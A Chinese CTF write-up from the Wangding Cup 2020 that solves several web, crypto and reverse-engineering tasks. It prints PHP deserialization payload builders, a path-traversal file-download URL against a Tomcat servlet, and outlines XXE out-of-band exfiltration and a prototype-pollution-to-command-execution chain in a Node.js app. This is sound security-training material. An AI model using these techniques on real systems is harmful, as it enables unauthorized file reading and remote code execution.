第二届网鼎杯(青龙组)部分wp

阅读量394191

|评论4

|

发布时间 : 2020-05-13 16:00:05

 

记录下第二届网鼎杯青龙组的部分wp

AreUSerialz

比较简单的一道反序列化题。
因为类中有protected属性,所以要先绕过is_valid

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

因为php7.1+对类属性的检测不严格,所以这里可以直接用public来写payload.

接着我们要读取文件,得让$op为2,这里利用php的弱比较,直接让$op=2绕过。

然后就是题目只能通过绝对路径来读取文件,这里有三种解法:

第一种应该是非预期,将content属性改为private可以通过相对路径读到flag.php

<?php
class FileHandler {

    public $op=2;
public $filename="flag.php";
private $content;

}    
$a=new FileHandler;
echo (serialize($a));

?>

第二种是通过网站的报错,查看docker的web路径。

第三者是读取当前进程的cmdline

<?php
class FileHandler {

    public $op=2;
public $filename="/proc/self/cmdline";
public $content;

}    
$a=new FileHandler;
echo (serialize($a));

?>

最后通过绝对路径读flag

<?php
class FileHandler {

    public $op=2;
public $filename="/web/html/flag.php";
public $content;

}    
$a=new FileHandler;
echo (serialize($a));

?>

 

filejava

一个简单的Servlet上传和下载功能。在下载功能处存在任意文件下载。

通过报错来获得网站的绝对路径

然后java题,一般是读取web.xml

然后根据web.xml读取class文件。规律是将包名换成路径,然后在/WEB-INF/classes/下。比如这里读取UploadServlet

/file_in_java/DownloadServlet?filename=../../../../../../.././../../..//usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

将所有的class文件下载下来之后,进行反编译,然后审计代码。

一共三个servlet,大概就是列出目录下的文件,下载文件,还有就是上传文件。

这里还限制了直接读取flag.

继续审计,发现这里会对xlxs文件进行处理,可能存在xxe漏洞。

参靠文章 https://xz.aliyun.com/t/7272#toc-9

结合 xxe外带出flag

这里记得文件名前面要加excel-

 

notes

nodejs题,可以直接下载源码审计

首先来看下undefsafe库

题目的本意是用来改变列表中属性的值。这里存在原型链污染漏洞。

接着在源码中寻找原型污染利用的地方,发现

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

如果我们能给commands数组添加我们自己想要执行的代码,则可以rce

这里因为对数组进行了遍历,所以我们污染object,遍历的时候是会遍历到数组的原型即object的属性。

现在我们思路就很清晰了

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

通过路由/edit_note 污染原型链,然后访问/status触发payload

 

you raise me up

from Crypto.Util.number import *
import random

n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)

简单的离散对数。可以直接用sagemath网站来求

 

boom

运作.exe输入正确的数即可。

 

相关网站

xxe:http://121.196.193.160/2020/02/17/xxe/

原型污染:http://121.196.193.160/2020/02/27/javascript-prototype-%e6%b1%a1%e6%9f%93%e6%94%bb%e5%87%bb/

sagemath: https://sagecell.sagemath.org/

本文由文乐的爹地原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/204856

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
文乐的爹地
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66